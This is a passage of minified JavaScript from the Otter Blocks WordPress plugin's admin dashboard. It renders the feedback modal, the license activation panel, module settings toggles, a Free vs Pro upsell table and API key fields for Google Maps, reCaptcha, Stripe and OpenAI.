survey.","otter-blocks")),Ae.map(((e,t)=>(0,o.createElement)("div",{className:"info-row",key:t},(0,o.createElement)("p",null,(0,o.createElement)("b",null,e.name)),(0,o.createElement)("p",null,e.value)))))),(0,o.createElement)("div",{className:"buttons-wrap"},(0,o.createElement)(Ne.Button,{className:"toggle-info","aria-expanded":r,variant:"link",isLink:!0,onClick:()=>l(!r)},(0,De.__)("What info do we collect?","otter-blocks")),(0,o.createElement)(Ne.Button,{className:"f-send",variant:"primary",type:"submit",isPrimary:!0,disabled:"loading"===t},"loading"===t?(0,o.createElement)(Ne.Spinner,null):(0,De.__)("Send feedback","otter-blocks"))))};const{assetsPath:Ue}=window.themeisleGutenberg?window.themeisleGutenberg:window.otterObj,Ge=Ue+("/"===Ue[Ue.length-1]?"":"/")+"icons/finish-feedback.svg",ze=({source:e,status:t,setStatus:n,closeModal:a,isOpen:s})=>(0,o.createElement)(Me.Fragment,null,s&&(0,o.createElement)(Ne.Modal,{className:Le()("o-feedback-modal",{"no-header":"submitted"===t}),overlayClassName:"o-feedback-modal-overlay",title:(0,De.__)("What's the one thing you need in Otter?","otter-blocks"),onRequestClose:a,shouldCloseOnClickOutside:!1},"submitted"!==t?(0,o.createElement)(je,{source:e,status:t,setStatus:n}):(0,o.createElement)("div",{className:"finish-feedback"},(0,o.createElement)("img",{src:Ge}),(0,o.createElement)("p",{className:"f-title"},(0,De.__)("Thank you for your feedback","otter-blocks")),(0,o.createElement)("p",{className:"f-description"},(0,De.__)("Your feedback is highly appreciated and will help us to improve Otter Blocks.","otter-blocks")),(0,o.createElement)(Ne.Button,{className:"f-done",variant:"secondary",isSecondary:!0,onClick:a},(0,De.__)("Done","otter-blocks")))));(0,Fe.addFilter)("otter.feedback","themeisle-gutenberg/feedback-modal",((e,t,n=(0,De.__)("Help us improve","otter-blocks"),a="link")=>{const[s,r]=(0,Me.useState)(!1),[l,i]=(0,Me.useState)("notSubmitted");return(0,o.createElement)(Me.Fragment,null,(0,o.createElement)(Ne.Button,{id:"o-feedback",variant:a,isLink:"link"===a,isSecondary:"secondary"===a,isPrimary:"primary"===a,onClick:()=>{window.oTrk?.add({feature:"feedback",featureComponent:"open-button"}),r(!s)}},n),(0,o.createElement)(ze,{isOpen:s,status:l,closeModal:()=>{r(!1),i("notSubmitted")},source:t,setStatus:i}))}));var $e=window.lodash,We=window.wp.data,qe=window.wp.notices,Ke=()=>{const e=(0,We.useSelect)((e=>e(qe.store).getNotices()),[]),{removeNotice:t}=(0,We.useDispatch)(qe.store),n=(0,$e.filter)(e,{type:"snackbar"});return(0,o.createElement)(Ne.SnackbarList,{notices:n,className:"components-editor-notices__snackbar",onRemove:t})};const Je=[{slug:"dashboard",label:(0,De.__)("Dashboard","otter-blocks"),visibility:!0},{slug:"blocks",label:(0,De.__)("Blocks","otter-blocks"),visibility:!0},{slug:"integrations",label:(0,De.__)("Integrations","otter-blocks"),visibility:!0},{slug:"upsell",label:(0,De.__)("Free vs PRO","otter-blocks"),visibility:!Boolean(window.otterObj.hasPro)},{slug:"feedback",label:(0,De.__)("Feedback","otter-blocks"),visibility:!0}];var Xe=({isActive:e,setActive:t})=>(0,o.createElement)("header",{className:"otter-header"},(0,o.createElement)("div",{className:"otter-container"},(0,o.createElement)("div",{className:"otter-logo"},(0,o.createElement)("img",{src:window.otterObj.assetsPath+"images/logo.png",title:(0,De.__)("Otter – Page Builder Blocks & Extensions for Gutenberg","otter-blocks")}),(0,o.createElement)("abbr",{title:(0,De.sprintf)((0,De.__)("Version: %s","otter-blocks"),window.otterObj.version),className:"version"},window.otterObj.version)),(0,o.createElement)("nav",{className:"otter-navigation"},Je.map((n=>n.visibility&&(0,o.createElement)("button",{className:Le()({"is-active":n.slug===(e||"dashboard")}),onClick:()=>t(n.slug),key:n.slug},(0,o.createElement)("span",null,n.label))))))),Ye=window.wp.api,Qe=n.n(Ye);let et={};var tt=()=>{const{createNotice:e}=(0,We.dispatch)("core/notices"),[t,n]=(0,Me.useState)("loading"),[o,a]=(0,Me.useState)({});return(0,We.useSelect)((e=>{const{getEntityRecord:t}=e("core");if(Object.keys(o).length)return;const s=t("root","site");s&&(n("loaded"),a(s))}),[o]),[e=>et?.[e]||o?.[e],(t,o,s=(0,De.__)("Settings saved.","otter-blocks"),r=void 0,l=(()=>{}),i=(()=>{}))=>{n("saving");const c=new(Qe().models.Settings)({[t]:o}).save();c.success(((t,o)=>{"success"===o&&(n("loaded"),e("success",s,{isDismissible:!0,type:"snackbar",id:r})),"error"===o&&(n("error"),e("error",(0,De.__)("An unknown error occurred.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:r})),et=t,a(t),l?.(t)})),c.error((t=>{var o;n("error"),e("error",null!==(o=t?.responseJSON?.message)&&void 0!==o?o:(0,De.__)("An unknown error occurred.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:r}),i?.(t)}))},t]},nt=({title:e,children:t})=>(0,o.createElement)(Ne.PanelBody,null,(0,o.createElement)("div",{className:"otter-info"},(0,o.createElement)("h3",null,e),t)),ot=window.wp.apiFetch,at=n.n(ot),st=()=>{const[e,t]=(0,Me.useState)(!1),[n,a]=(0,Me.useState)(window.otterObj?.license),[s,r]=(0,Me.useState)(""),{createNotice:l}=(0,We.dispatch)("core/notices");(0,Me.useEffect)((()=>{n.key&&["valid","active_expired"].includes(n.valid)&&r(n.key)}),[n]);const i="valid"===n?.valid||"valid"===n?.license;return(0,o.createElement)(nt,{title:(0,De.__)("Otter Pro License","otter-blocks")},(0,o.createElement)("p",null,(0,De.__)("Enter your license from ThemeIsle purchase history in order to get plugin updates.","otter-blocks")),Boolean(window.otterObj.hasNevePro)&&(0,o.createElement)("p",null,(0,De.__)("Neve Pro license can also be used to activate Otter Pro.","otter-blocks")),(0,o.createElement)("input",{type:"text",value:i?"******************************"+s.slice(-5):s,placeholder:(0,De.__)("Enter license key","otter-blocks"),disabled:e||i,onChange:e=>r(e.target.value)}),(0,o.createElement)("div",{className:"otter-info-button-group is-single"},(0,o.createElement)(Ne.Button,{variant:i?"secondary":"primary",isPrimary:!i,isSecondary:i,isBusy:e,disabled:e,onClick:()=>{return e={action:i?"deactivate":"activate",key:s},t(!0),void at()({path:"otter/v1/toggle_license",method:"POST",data:e}).then((e=>{t(!1),l(e.success?"success":"error",e.message,{isDismissible:!0,type:"snackbar"}),e?.success&&e.license&&"free"!==e.license.key?(a(e.license),r(e.license.key)):(a({}),r("")),window.location.reload()})).catch((e=>{t(!1),console.log(e)}));var e}},i?(0,De.__)("Deactivate","otter-blocks"):(0,De.__)("Activate","otter-blocks"))),i&&(0,o.createElement)("div",{className:"otter-license-footer"},(0,o.createElement)("p",null,(0,o.createElement)(Ne.Icon,{icon:"yes"}),(0,De.sprintf)((0,De.__)("Valid - Expires %s","otter-blocks"),n.expiration))),"active_expired"===n?.valid&&(0,o.createElement)("div",{className:"otter-license-footer is-expired"},(0,o.createElement)("p",null,(0,De.__)("License Key has expired. In order to continue receiving support and software updates you must renew your license key.","otter-blocks")),(0,o.createElement)("p",null,(0,o.createElement)(Ne.ExternalLink,{href:`${window.otterObj.storeURL}?license=${s}`},(0,De.__)("Renew License","otter-blocks")))),!i&&(0,o.createElement)("p",{className:"otter-license-purchase-history"},(0,o.createElement)(Ne.ExternalLink,{href:window.otterObj.purchaseHistoryURL},(0,De.__)("Get license from Purchase History","otter-blocks"))))};window.wp.date;const rt=(e,t)=>{const n=new URL(e);return n.searchParams.set("utm_campaign",t),n.toString()};var lt=({setTab:e})=>(0,o.createElement)(Me.Fragment,null,Boolean(window.otterObj.hasPro)?(0,o.createElement)(st,null):(0,o.createElement)(nt,{title:(0,De.__)("Otter Pro","otter-blocks")},(0,o.createElement)("ul",null,(0,o.createElement)("li",null,(0,De.__)("Pro Block Addons","otter-blocks")),(0,o.createElement)("li",null,(0,De.__)("Pro Block Patterns","otter-blocks")),(0,o.createElement)("li",null,(0,De.__)("Dynamic Content","otter-blocks")),(0,o.createElement)("li",null,(0,De.__)("Block Conditions","otter-blocks")),(0,o.createElement)("li",null,(0,De.__)("WooCommerce Product Builder","otter-blocks")),(0,o.createElement)("li",null,(0,De.__)("Priority Support","otter-blocks"))),(0,o.createElement)("div",{className:"otter-info-button-group"},(0,o.createElement)(Ne.Button,{variant:"secondary",isSecondary:!0,onClick:()=>e("upsell")},(0,De.__)("Learn More","otter-blocks")),(0,o.createElement)(Ne.Button,{variant:"primary",isPrimary:!0,target:"_blank",href:rt(window.otterObj.upgradeLink,"infobox")},(0,De.__)("Explore Otter Pro","otter-blocks")))),(0,o.createElement)(nt,{title:(0,De.__)("Useful links","otter-blocks")},(0,o.createElement)("ul",{className:"otter-info-links"},(0,o.createElement)("li",null,(0,o.createElement)("a",{href:"https://wordpress.org/support/plugin/otter-blocks",target:"_blank"},(0,De.__)("Support","otter-blocks"))),(0,o.createElement)("li",null,(0,o.createElement)("a",{href:"https://github.com/Codeinwp/otter-blocks/discussions",target:"_blank"},(0,De.__)("Feature request","otter-blocks"))),(0,o.createElement)("li",null,(0,o.createElement)("a",{href:"https://wordpress.org/support/plugin/otter-blocks/reviews/#new-post",target:"_blank"},(0,De.__)("Leave a review","otter-blocks")))),(0,o.createElement)("div",{className:"otter-info-button-group is-single"},(0,o.createElement)(Ne.Button,{variant:"secondary",isSecondary:!0,target:"_blank",href:window.otterObj.docsLink},(0,De.__)("Documentation","otter-blocks"))))),it=({label:e,help:t,buttonLabel:n,disabled:a,action:s,className:r})=>(0,o.createElement)("div",{className:Le()("components-base-control","otter-button-control",r)},(0,o.createElement)("div",{className:"components-base-control_labels"},(0,o.createElement)("span",{className:"components-base-control__label"},e),(0,o.createElement)("p",{className:"components-base-control__help"},t)),(0,o.createElement)("div",{className:"otter-button-control-group"},(0,o.createElement)(Ne.Button,{variant:"secondary",isSecondary:!0,disabled:a,onClick:s},n)));const ct={enableCustomCss:"themeisle_blocks_settings_css_module",enableBlocksAnimation:"themeisle_blocks_settings_blocks_animation",enableBlockConditions:"themeisle_blocks_settings_block_conditions",enableOnboardingWizard:"themeisle_blocks_settings_onboarding_wizard",enableSectionDefaultBlock:"themeisle_blocks_settings_default_block",enableOptimizeAnimationsCss:"themeisle_blocks_settings_optimize_animations_css",enableRichSchema:"themeisle_blocks_settings_disable_review_schema",enableReviewScale:"themeisle_blocks_settings_review_scale",enableHighlightDynamic:"themeisle_blocks_settings_highlight_dynamic",enableAnonymousDataTracking:"otter_blocks_logger_flag"},dt={values:{enableCustomCss:!1,enableBlocksAnimation:!1,enableBlockConditions:!1,enableOnboardingWizard:!1,enableSectionDefaultBlock:!1,enableOptimizeAnimationsCss:!1,enableRichSchema:!1,enableReviewScale:!1,enableHighlightDynamic:!1,enableAnonymousDataTracking:"no"},status:{enableCustomCss:"init",enableBlocksAnimation:"init",enableBlockConditions:"init",enableOnboardingWizard:"init",enableSectionDefaultBlock:"init",enableOptimizeAnimationsCss:"init",enableRichSchema:"init",enableReviewScale:"init",enableHighlightDynamic:"init",enableAnonymousDataTracking:"init"},dirty:{enableCustomCss:!1,enableBlocksAnimation:!1,enableBlockConditions:!1,enableOnboardingWizard:!1,enableSectionDefaultBlock:!1,enableOptimizeAnimationsCss:!1,enableRichSchema:!1,enableReviewScale:!1,enableHighlightDynamic:!1,enableAnonymousDataTracking:!1},old:{}},ut=(e,t)=>{switch(t.type){case"init":return e.values[t.name]=t.value,e.status[t.name]="saved",{...e};case"update":return e.old[t.name]=(0,$e.isString)(e.values[t.name])?e.values[t.name]:Boolean(e.values[t.name]),e.values[t.name]=t.value,e.dirty[t.name]=!0,{...e};case"status_bulk":return t.names.forEach((n=>{e.status[n]=t.value,e.dirty[n]=!1})),{...e};case"saved":return e.status[t.name]="saved",e.values[t.name]=t.value,e.old[t.name]=void 0,{...e};case"rollback":return void 0!==e.old[t.name]&&(e.values[t.name]=e.old[t.name]),e.old[t.name]=void 0,e.dirty[t.name]=!1,e.status[t.name]="saved",{...e};default:return e}};var mt=()=>{(0,Me.useEffect)((()=>{Boolean(window.otterObj.stylesExist)||r(!0)}),[]);const[e,t,n]=tt(),{createNotice:a}=(0,We.dispatch)("core/notices"),[s,r]=(0,Me.useState)(!1),[l,i]=(0,Me.useState)(!1),[c,d]=(0,Me.useReducer)(ut,dt);return(0,Me.useEffect)((()=>{"loaded"===n&&Object.entries(c.status).filter((([e,t])=>"init"===t)).forEach((([t,n])=>{d({type:"init",name:t,value:e(ct[t])})}))}),[c,n,e]),(0,Me.useEffect)((()=>{const e=Object.entries(c.dirty).filter((([e,t])=>t)).map((([e,t])=>e));if(e.length){"error"!==n&&d({type:"status_bulk",value:"saving",names:e});for(const n of e)t(ct[n],c.values[n],(0,De.__)("Settings saved.","otter-blocks"),"o-settings-saved-notice",(e=>{d({type:"saved",name:n,value:e[ct[n]]})}),(()=>{d({type:"rollback",name:n})}))}}),[c,n]),(0,o.createElement)(Me.Fragment,null,(0,o.createElement)(Ne.PanelBody,{title:(0,De.__)("Modules","otter-blocks")},(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Enable Custom CSS Module","otter-blocks"),help:(0,De.__)("Custom CSS module allows to add custom CSS to each block in Block Editor.","otter-blocks"),checked:c.values.enableCustomCss,disabled:"saving"===c.status.enableCustomCss,onChange:e=>{d({type:"update",name:"enableCustomCss",value:e})}})),(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Enable Blocks Animation Module","otter-blocks"),help:(0,De.__)("Blocks Animation module allows to add CSS animations to each block in Block Editor.","otter-blocks"),checked:c.values.enableBlocksAnimation,disabled:"saving"===c.status.enableBlocksAnimation,onChange:e=>d({type:"update",name:"enableBlocksAnimation",value:e})})),(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Enable Visibility Condition Module","otter-blocks"),help:(0,De.__)("Blocks Conditions module allows to hide/display blocks to your users based on selected conditions.","otter-blocks"),checked:c.values.enableBlockConditions,disabled:"saving"===c.status.enableBlockConditions,onChange:e=>d({type:"update",name:"enableBlockConditions",value:e})})),(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Enable Theme Setup Wizard","otter-blocks"),help:(0,De.__)("Toggle the visibility of the Theme Setup link in the Appearance menu.","otter-blocks"),checked:c.values.enableOnboardingWizard,disabled:"saving"===c.status.enableOnboardingWizard,onChange:e=>d({type:"update",name:"enableOnboardingWizard",value:e})}))),(0,o.createElement)(Ne.PanelBody,{title:(0,De.__)("Other","otter-blocks")},(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Make Section your default block for Pages","otter-blocks"),help:(0,De.__)("Everytime you create a new page, Section block will be appended there by default.","otter-blocks"),checked:c.values.enableSectionDefaultBlock,disabled:"saving"===c.status.enableSectionDefaultBlock,onChange:e=>d({type:"update",name:"enableSectionDefaultBlock",value:e})})),(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Optimize Animations CSS","otter-blocks"),help:(0,De.__)("Only load CSS for the animations that are used on the page. We recommend you to regenerate styles after you toggle this option.","otter-blocks"),checked:c.values.enableOptimizeAnimationsCss,disabled:"saving"===c.status.enableOptimizeAnimationsCss,onChange:e=>d({type:"update",name:"enableOptimizeAnimationsCss",value:e})})),(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Enable Rich Schema","otter-blocks"),help:(0,De.__)("Control if you want to show rich schema in Product Review Block.","otter-blocks"),checked:c.values.enableRichSchema,disabled:"saving"===c.status.enableRichSchema,onChange:e=>d({type:"update",name:"enableRichSchema",value:e})})),(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Use 1-5 Scale for Review Block","otter-blocks"),help:(0,De.__)("Use 1-5 rating scale instead of the default 1-10.","otter-blocks"),checked:c.values.enableReviewScale,disabled:"saving"===c.status.enableReviewScale,onChange:e=>d({type:"update",name:"enableReviewScale",value:e})})),(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Highlight the Dynamic Text","otter-blocks"),help:(0,De.__)("Easily differentiate between dynamic and normal text in the editor.","otter-blocks"),checked:c.values.enableHighlightDynamic,disabled:"saving"===c.status.enableHighlightDynamic,onChange:e=>d({type:"update",name:"enableHighlightDynamic",value:e})})),(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Anonymous Data Tracking.","otter-blocks"),help:(0,De.__)("Become a contributor by opting in to our anonymous data tracking. We guarantee no sensitive data is collected.","otter-blocks"),checked:"yes"===c.values.enableAnonymousDataTracking,disabled:"saving"===c.status.enableAnonymousDataTracking,onChange:e=>d({type:"update",name:"enableAnonymousDataTracking",value:e?"yes":"no"})}))),(0,o.createElement)(Ne.PanelBody,null,(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(it,{label:(0,De.__)("Regenerate Styles","otter-blocks"),help:(0,De.__)("Clicking on this will delete all the Otter generated CSS files.","otter-blocks"),buttonLabel:(0,De.__)("Regenerate","otter-blocks"),disabled:s,action:()=>i(!0)}))),l&&(0,o.createElement)(Ne.Modal,{title:(0,De.__)("Are you sure?","otter-blocks"),onRequestClose:()=>i(!1)},(0,o.createElement)("p",null,(0,De.__)("Are you sure you want to delete all Otter generated CSS files?","otter-blocks")),(0,o.createElement)("p",null,(0,De.__)("Note: Styles will be regenerated as users start visiting your pages.","otter-blocks")),(0,o.createElement)("div",{className:"otter-modal-actions"},(0,o.createElement)(Ne.Button,{isSecondary:!0,onClick:()=>i(!1)},(0,De.__)("Cancel","otter-blocks")),(0,o.createElement)(Ne.Button,{isPrimary:!0,disabled:"saving"===n,isBusy:"saving"===n,onClick:async()=>{const e=await at()({path:"otter/v1/regenerate",method:"DELETE"});a(e.success?"success":"error",e.data.message,{isDismissible:!0,type:"snackbar"}),window.tiTrk?.with("otter").add({feature:"dashboard",featureComponent:"regenerate-style"}),r(!0),i(!1)}},(0,De.__)("Confirm","otter-blocks")))))};const ht=[{label:(0,De.__)("More than 30 Custom Blocks","otter-blocks"),description:(0,De.__)("Harness the potential of the new WordPress era with the growing list of 30+ page building blocks, covering all the elements needed to build a website.","otter-blocks"),inFree:!0},{label:(0,De.__)("Extra Functionalities for all Blocks","otter-blocks"),description:(0,De.__)("Otter Blocks adds extra functionality such as Custom CSS, Animations and Visibility Conditions to default or third party blocks present on your website.","otter-blocks"),inFree:!0},{label:(0,De.__)("Premium Blocks","otter-blocks"),description:(0,De.__)("Enhance your website's design with powerful Pro Blocks, like the Add to Cart Block, Business Hours Block and more blocks are coming soon.","otter-blocks")},{label:(0,De.__)("Extended Visibility Conditions & Sticky Blocks functionality","otter-blocks"),description:(0,De.__)("The Visibility Conditions feature allows you to set which conditions should be met for your chosen blocks to be displayed on the page. While the Sticky feature lets you set a Block as sticky, so that it sticks to its parent. ","otter-blocks")},{label:(0,De.__)("Dynamic Values","otter-blocks"),description:(0,De.__)("Streamline your Workflow with Otter Dynamic Values, which allows you to bind certain elements in the editor - with the dynamic data from your website database.","otter-blocks")},{label:(0,De.__)("Review Comparison Table","otter-blocks"),description:(0,De.__)("Allows you to display and compare a selection of product reviews made on the website.","otter-blocks")},{label:(0,De.__)("WooCommerce Builder Blocks","otter-blocks"),description:(0,De.__)("Build custom Single Product Pages using WooCommerce Builder Blocks by Otter. All the new features from Otter Pro are designed to maximize your conversion rate.","otter-blocks")},{label:(0,De.__)("Extended Popups","otter-blocks"),description:(0,De.__)("Display your content in beautiful popup with many customization options. Otter Pro extends the functionality of the popups in the free Otter version, with more advanced options.","otter-blocks")},{label:(0,De.__)("Priority Support","otter-blocks"),description:(0,De.__)("Our Happiness Engineers are happy to help you get the best results from our products. On average, Otter Pro user get a reply in five hours or less.","otter-blocks")}],pt=(0,o.createElement)("svg",{width:"31",height:"31",viewBox:"0 0 31 31",fill:"none",xmlns:"http://www.w3.org/2000/svg",role:"img","aria-hidden":"true"},(0,o.createElement)("path",{d:"M22.5326 10.5767L17.2226 15.8867L22.5326 21.1967L20.4176 23.3117L15.1076 18.0167L9.81262 23.3117L7.68262 21.1817L12.9776 15.8867L7.68262 10.5917L9.81262 8.46167L15.1076 13.7567L20.4176 8.46167L22.5326 10.5767Z",fill:"#FF7E65"})),gt=(0,o.createElement)("svg",{width:"31",height:"31",viewBox:"0 0 31 31",fill:"none",xmlns:"http://www.w3.org/2000/svg",role:"img","aria-hidden":"true"},(0,o.createElement)("path",{d:"M22.9863 7.99243L12.7863 18.1924L8.58633 13.9924L6.48633 16.0924L12.7863 22.3924L25.0863 10.0924",fill:"#5FBFD5"}));var vt=()=>(0,o.createElement)("div",{className:"otter-upsell"},(0,o.createElement)("div",{className:"upsell-title"},(0,o.createElement)("h2",null,(0,De.__)("Powerful features available only in Otter Pro","otter-blocks"))),(0,o.createElement)("ul",{className:"upsell-table"},(0,o.createElement)("li",{className:"t-head"},(0,o.createElement)("div",null),(0,o.createElement)("div",{className:"c"},(0,De.__)("Free","otter-blocks")),(0,o.createElement)("div",{className:"c"},(0,De.__)("Pro","otter-blocks"))),ht.map(((e,t)=>(0,o.createElement)("li",{key:t,className:"t-row"},(0,o.createElement)("div",{className:"content"},(0,o.createElement)("div",{className:"h-wrap"},(0,o.createElement)("h4",null,e.label)),(0,o.createElement)("p",null,e.description)),(0,o.createElement)("div",{className:"c"},e?.inFree?gt:pt),(0,o.createElement)("div",{className:"c"},gt))))),(0,o.createElement)(Ne.Button,{variant:"primary",href:rt(window.otterObj.upgradeLink,"viewallfvsp"),target:"_blank"},(0,De.__)("View all Otter Pro features","otter-blocks"))),bt=()=>{const[e,t,n]=tt();(0,Me.useEffect)((()=>{s(e("themeisle_google_map_block_api_key"))}),[e("themeisle_google_map_block_api_key")]),(0,Me.useEffect)((()=>{l(e("themeisle_google_captcha_api_site_key")),c(e("themeisle_google_captcha_api_secret_key"))}),[e("themeisle_google_captcha_api_site_key"),e("themeisle_google_captcha_api_secret_key")]),(0,Me.useEffect)((()=>{u(e("themeisle_stripe_api_key"))}),[e("themeisle_stripe_api_key")]),(0,Me.useEffect)((()=>{h(e("themeisle_open_ai_api_key"))}),[e("themeisle_open_ai_api_key")]);const[a,s]=(0,Me.useState)(""),[r,l]=(0,Me.useState)(""),[i,c]=(0,Me.useState)(""),[d,u]=(0,Me.useState)(""),[m,h]=(0,Me.useState)("");let p=()=>(0,o.createElement)(Ne.PanelBody,{title:(0,De.__)("Fonts Module","otter-blocks"),className:"is-pro"},(0,o.createElement)(Ne.Disabled,null,(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.ToggleControl,{label:(0,De.__)("Save Google Fonts Locally","otter-blocks"),help:(0,De.__)("Enable this option to save Google Fonts locally to make your website faster","otter-blocks"),checked:!1,disabled:!0}))));return p=(0,Fe.applyFilters)("otter.dashboard.integrations",(0,o.createElement)(p,null)),(0,o.createElement)(Me.Fragment,null,(0,o.createElement)(Ne.PanelBody,{title:(0,De.__)("Google Maps","otter-blocks")},(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.BaseControl,{label:(0,De.__)("Google Maps API","otter-blocks"),help:(0,De.__)("In order to use Google Maps block, you need to use Google Maps and Places API.","otter-blocks"),id:"otter-options-google-map-api",className:"otter-button-field"},(0,o.createElement)(Ne.TextControl,{type:"password",label:(0,De.__)("Secret Key","otter-blocks"),value:a,placeholder:(0,De.__)("Google Maps API Key","otter-blocks"),disabled:"saving"===n,onChange:e=>s(e)}),(0,o.createElement)("div",{className:"otter-button-group"},(0,o.createElement)(Ne.Button,{variant:"secondary",isSecondary:!0,disabled:"saving"===n,onClick:()=>t("themeisle_google_map_block_api_key",a)},(0,De.__)("Save","otter-blocks")),(0,o.createElement)(Ne.ExternalLink,{href:"https://developers.google.com/maps/documentation/javascript/get-api-key"},(0,De.__)("Get API Key","otter-blocks")))))),p,(0,o.createElement)(Ne.PanelBody,{title:(0,De.__)("Google reCaptcha API","otter-blocks"),initialOpen:!1},(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.BaseControl,{help:(0,De.__)("In order to use reCaptcha field in the Form block, you need to use Google reCaptcha API.","otter-blocks"),id:"otter-options-google-recaptcha-api",className:"otter-button-field"},(0,o.createElement)(Ne.TextControl,{type:"password",label:(0,De.__)("Site Key","otter-blocks"),value:r,placeholder:(0,De.__)("Site Key","otter-blocks"),disabled:"saving"===n,onChange:e=>l(e)}),(0,o.createElement)(Ne.TextControl,{type:"password",label:(0,De.__)("Secret Key","otter-blocks"),value:i,placeholder:(0,De.__)("Secret Key","otter-blocks"),disabled:"saving"===n,onChange:e=>c(e)}),(0,o.createElement)("div",{className:"otter-button-group"},(0,o.createElement)(Ne.Button,{variant:"secondary",isSecondary:!0,disabled:"saving"===n,onClick:()=>{t("themeisle_google_captcha_api_site_key",r),t("themeisle_google_captcha_api_secret_key",i)}},(0,De.__)("Save","otter-blocks")),(0,o.createElement)(Ne.ExternalLink,{href:"https://www.google.com/recaptcha/admin"},(0,De.__)("Get API Key","otter-blocks")))))),(0,o.createElement)(Ne.PanelBody,{title:(0,De.__)("Stripe","otter-blocks"),initialOpen:!1},(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.BaseControl,{label:(0,De.__)("Stripe API","otter-blocks"),help:(0,De.__)("In order to use Stripe block, you need to use Stripe API. You can also use Restricted keys.","otter-blocks"),id:"otter-options-stripe-api",className:"otter-button-field"},(0,o.createElement)(Ne.TextControl,{type:"password",label:(0,De.__)("Secret Key","otter-blocks"),value:d,placeholder:(0,De.__)("Stripe API Key","otter-blocks"),disabled:"saving"===n,onChange:e=>u(e)}),(0,o.createElement)("div",{className:"otter-button-group"},(0,o.createElement)(Ne.Button,{variant:"secondary",isSecondary:!0,disabled:"saving"===n,onClick:()=>{window.tiTrk?.with("otter").add({feature:"dashboard-integration",featureComponent:"stripe"}),t("themeisle_stripe_api_key",d)}},(0,De.__)("Save","otter-blocks")),(0,o.createElement)(Ne.ExternalLink,{href:"https://stripe.com/docs/keys"},(0,De.__)("Get API Key","otter-blocks")),(0,o.createElement)(Ne.ExternalLink,{href:"https://docs.themeisle.com/article/1688-integrations-related-blocks#stripe-checkout"},(0,De.__)("More Info","otter-blocks")))))),(0,o.createElement)(Ne.PanelBody,{title:(0,De.__)("OpenAI","otter-blocks"),initialOpen:!1},(0,o.createElement)(Ne.PanelRow,null,(0,o.createElement)(Ne.BaseControl,{label:(0,De.__)("Open API","otter-blocks"),help:(0,De.__)("In order to use AI Block, you need to use OpenAI API.","otter-blocks"),id:"otter-options-stripe-api",className:"otter-button-field"},(0,o.createElement)(Ne.TextControl,{type:"password",label:(0,De.__)("Secret Key","otter-blocks"),value:m,placeholder:(0,De.__)("OpenAI API Key","otter-blocks"),disabled:"saving"===n,onChange:e=>h(e)}),(0,o.createElement)("div",{className:"otter-button-group"},(0,o.createElement)(Ne.Button,{variant:"secondary",isSecondary:!0,disabled:"saving"===n,onClick:()=>{window.tiTrk?.with("otter").add({feature:"dashboard-integration",featureComponent:"open-ai"}),t("themeisle_open_ai_api_key",m)}},(0,De.__)("Save","otter-blocks")),(0,o.createElement)(Ne.ExternalLink,{href:"https://platform.openai.com/account/api-keys"},(0,De.__)("Get API Key","otter-blocks")),(0,o.createElement)(Ne.ExternalLink,{href:"https://docs.themeisle.com/article/1916-how-to-generate-an-openai-api-key"},(0,De.__)("More Info","otter-blocks")))))))};const kt=`${window.otterObj.assetsPath}icons/finish-feedback.svg`;var wt=()=>{const[e,t]=(0,Me.useState)("notSubmitted");return(0,o.createElement)(nt,{title:"submitted"!==e&&(0,De.__)("What's one thing you need in Otter Blocks?","otter-blocks")},"submitted"!==e?(0,o.createElement)(je,{source:"dashboard",status:e,setStatus:t}):(0,o.createElement)("div",{className:"finish-feedback"},(0,o.createElement)("img",{src:kt}),(0,o.createElement)("p",{className:"f-title"},(0,De.__)("Thank you for your feedback","otter-blocks")),(0,o.createElement)("p",{className:"f-description"},(0,De.__)("Your feedback is highly appreciated and will help us to improve Otter Blocks.","otter-blocks"))))},ft=(0,Me.forwardRef)((function({icon:e,size:t=24,...n},o){return(0,Me.cloneElement)(e,{width:t,height:t,...n,ref:o})})),_t=window.wp.primitives,yt=(0,o.createElement)(_t.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(_t.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})),Et=({slug:e,className:t,children:n})=>{const a=`otter-${e}-dismissed`,[s,r]=(0,Me.useState)(localStorage.getItem(a));return s?null:(0,o.createElement)(Ne.PanelBody,{className:Le()("notice-card",t)},(0,o.createElement)(Ne.Button,{className:"dismiss",onClick:()=>{localStorage.setItem(a,"true"),r("true")}},(0,o.createElement)(ft,{icon:yt})),n)};window.wp.editSite,(0,o.createElement)(_t.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(_t.Path,{d:"M18.3 5.6L9.9 16.9l-4.6-3.4-.9 2.4 5.8 4.3 9.3-12.6z"})),(0,o.createElement)(_t.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(_t.Path,{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 